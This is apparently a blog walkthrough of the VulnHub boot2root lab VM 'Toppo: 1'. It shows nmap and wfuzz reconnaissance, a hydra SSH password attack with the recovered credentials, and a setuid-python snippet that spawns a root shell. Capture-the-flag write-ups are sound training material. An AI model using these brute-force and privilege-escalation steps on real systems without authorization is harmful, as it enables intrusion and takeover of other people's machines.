This post documents the complete walkthrough of Toppo: 1, a boot2root VM created by Hadi Mene, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
There’s no backstory for this VM. All we know is that it isn’t hard to pwn and doesn’t require advanced exploitation. The one “Toppo” I know is a character from Dragon Ball Super–God of Destruction candidate from Universe 11 
Information Gathering
Let’s start with a nmap scan to establish the available services in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.130
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
| 2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
| 256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
|_ 256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Clean Blog - Start Bootstrap Theme
111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 33198/udp status
|_ 100024 1 58751/tcp status
58751/tcp open status syn-ack ttl 64 1 (RPC #100024)
nmap finds 22/tcp, 80/tcp, 111/tcp, and 58751/tcp open. As usual, I’ll go for the web one first. Here’s how it looks like.
Directory/File Enumeration
I like wfuzz a lot. When it’s combined with a quality wordlist like the ones in SecLists, you can uncover directories and files that will point you in the next direction.
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 --hc 404 http://192.168.30.130/FUZZ
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://192.168.30.130/FUZZ
Total requests: 4593
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000011: C=403 11 L 32 W 298 Ch ".htaccess"
000010: C=403 11 L 32 W 293 Ch ".hta"
000012: C=403 11 L 32 W 298 Ch ".htpasswd"
000190: C=200 21 L 172 W 1093 Ch "LICENSE"
000437: C=301 9 L 28 W 316 Ch "admin"
001232: C=301 9 L 28 W 314 Ch "css"
002073: C=301 9 L 28 W 314 Ch "img"
002094: C=200 183 L 465 W 6437 Ch "index.html"
002250: C=301 9 L 28 W 313 Ch "js"
002463: C=301 9 L 28 W 315 Ch "mail"
002497: C=301 9 L 28 W 317 Ch "manual"
003597: C=403 11 L 32 W 302 Ch "server-status"
004261: C=301 9 L 28 W 317 Ch "vendor"
Following the hint in LICENSE, it’s not long before I found Blackrock Digital’s GitHub repository for this BootStrap theme in Google.
Everything was identical to those listed in the repository except for /admin.
Hail Hydra
I also like hydra a lot. It’s always my go-to weapon of choice for online password cracking and user validation. Let’s give it a shot.
# hydra -L usernames.txt -p 12345ted123 -f -e nsr -o hydra.txt -t 4 ssh://192.168.30.130)
[22][ssh] host: 192.168.30.130 login: ted password: 12345ted123
What’s in usernames.txt, you ask?
# cat usernames.txt
root
admin
test
guest
info
adm
mysql
user
administrator
oracle
ftp
toppo
ted
I added toppo and ted for obvious reasons—toppo is the name of the VM while ted appears in /admin/notes.txt.
Low-Privilege Shell
Now that I have the password of ted, let’s log in to his SSH account.
Privilege Escalation
Again, using basic enumeration, I soon found the ticket to privilege escalation.
Since I have a python that’s setuid to root, I can write a Python script like this.
import os
os.setuid(0)
os.setgid(0)
os.system("/bin/bash")
Where’s the Flag (WTF)
With root, getting the flag is trivial.
